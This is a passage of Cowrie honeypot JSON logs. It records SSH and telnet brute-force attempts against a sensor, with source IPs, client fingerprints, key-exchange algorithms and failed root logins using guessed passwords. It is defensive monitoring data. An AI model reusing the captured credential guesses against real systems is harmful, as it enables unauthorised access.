group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:03.868645Z","src_ip":"125.124.42.183","session":"b46b264636c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tc123456","message":"login attempt [root/tc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:05.121980Z","src_ip":"125.124.42.183","session":"b46b264636c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:06.359955Z","src_ip":"125.124.42.183","session":"b46b264636c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.33.238","src_port":58834,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7e15dd6ac0","protocol":"ssh","message":"New connection: 162.241.33.238:58834 (10.17.0.5:22) [session: 0d7e15dd6ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:09.070992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:09.074723Z","src_ip":"162.241.33.238","session":"0d7e15dd6ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:09.103214Z","src_ip":"162.241.33.238","session":"0d7e15dd6ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zkevm","password":"zkevm123","message":"login attempt [zkevm/zkevm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:09.190517Z","src_ip":"162.241.33.238","session":"0d7e15dd6ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:10.222586Z","src_ip":"162.241.33.238","session":"0d7e15dd6ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:26.396939Z","src_ip":"8.210.75.243","session":"f7c11e62c910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46008,"dst_ip":"159.203.135.109","dst_port":22,"session":"d73520d43a69","protocol":"ssh","message":"New connection: 193.37.70.224:46008 (159.203.135.109:22) [session: d73520d43a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:30.780812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:30.784262Z","src_ip":"193.37.70.224","session":"d73520d43a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:30.887238Z","src_ip":"193.37.70.224","session":"d73520d43a69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23071979","message":"login attempt [root/23071979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:31.168794Z","src_ip":"193.37.70.224","session":"d73520d43a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:32.264010Z","src_ip":"193.37.70.224","session":"d73520d43a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":37914,"dst_ip":"10.17.0.5","dst_port":22,"session":"f16dc1957551","protocol":"ssh","message":"New connection: 81.192.46.32:37914 (10.17.0.5:22) [session: f16dc1957551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:33.921703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:33.924813Z","src_ip":"81.192.46.32","session":"f16dc1957551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:34.036668Z","src_ip":"81.192.46.32","session":"f16dc1957551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wise","message":"login attempt [root/wise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:34.538831Z","src_ip":"81.192.46.32","session":"f16dc1957551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":16118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff628cda330","protocol":"ssh","message":"New connection: 123.58.213.128:16118 (10.17.0.5:22) [session: 5ff628cda330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:35.645689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:35.649148Z","src_ip":"123.58.213.128","session":"5ff628cda330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:35.655229Z","src_ip":"81.192.46.32","session":"f16dc1957551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:35.871189Z","src_ip":"123.58.213.128","session":"5ff628cda330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac10b3c9925","protocol":"telnet","message":"New connection: 170.64.224.25:39796 (159.203.135.109:23) [session: 7ac10b3c9925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:36.565332Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123321","message":"login attempt [root/Abc@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:36.789925Z","src_ip":"123.58.213.128","session":"5ff628cda330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.90188479423523,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:37.853306Z","src_ip":"170.64.224.25","session":"b2915896e55b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:38.019826Z","src_ip":"123.58.213.128","session":"5ff628cda330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":48712,"dst_ip":"10.17.0.5","dst_port":22,"session":"78dd75df3606","protocol":"ssh","message":"New connection: 85.214.154.50:48712 (10.17.0.5:22) [session: 78dd75df3606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:40.430376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:40.434068Z","src_ip":"85.214.154.50","session":"78dd75df3606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:40.526398Z","src_ip":"85.214.154.50","session":"78dd75df3606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arweave2024","message":"login attempt [root/arweave2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:40.807528Z","src_ip":"85.214.154.50","session":"78dd75df3606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:41.904059Z","src_ip":"85.214.154.50","session":"78dd75df3606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42264,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8611871585e","protocol":"ssh","message":"New connection: 87.251.79.125:42264 (159.203.135.109:22) [session: e8611871585e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:44.525886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:44.530310Z","src_ip":"87.251.79.125","session":"e8611871585e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:44.600392Z","src_ip":"87.251.79.125","session":"e8611871585e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321321","message":"login attempt [root/123321321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:44.809947Z","src_ip":"87.251.79.125","session":"e8611871585e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:45.879381Z","src_ip":"87.251.79.125","session":"e8611871585e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":41164,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b070d1ad02e","protocol":"ssh","message":"New connection: 8.210.75.243:41164 (10.17.0.5:22) [session: 9b070d1ad02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:49.186313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:49.191691Z","src_ip":"8.210.75.243","session":"9b070d1ad02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:50.432420Z","src_ip":"8.210.75.243","session":"9b070d1ad02e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":58984,"dst_ip":"159.203.135.109","dst_port":22,"session":"d69aafd38546","protocol":"ssh","message":"New connection: 159.65.58.200:58984 (159.203.135.109:22) [session: d69aafd38546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:57.094214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:57.510523Z","src_ip":"159.65.58.200","session":"d69aafd38546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:57.513477Z","src_ip":"159.65.58.200","session":"d69aafd38546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spaskov","password":"123456","message":"login attempt [spaskov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:21:58.816282Z","src_ip":"159.65.58.200","session":"d69aafd38546","protocol":"ssh"}
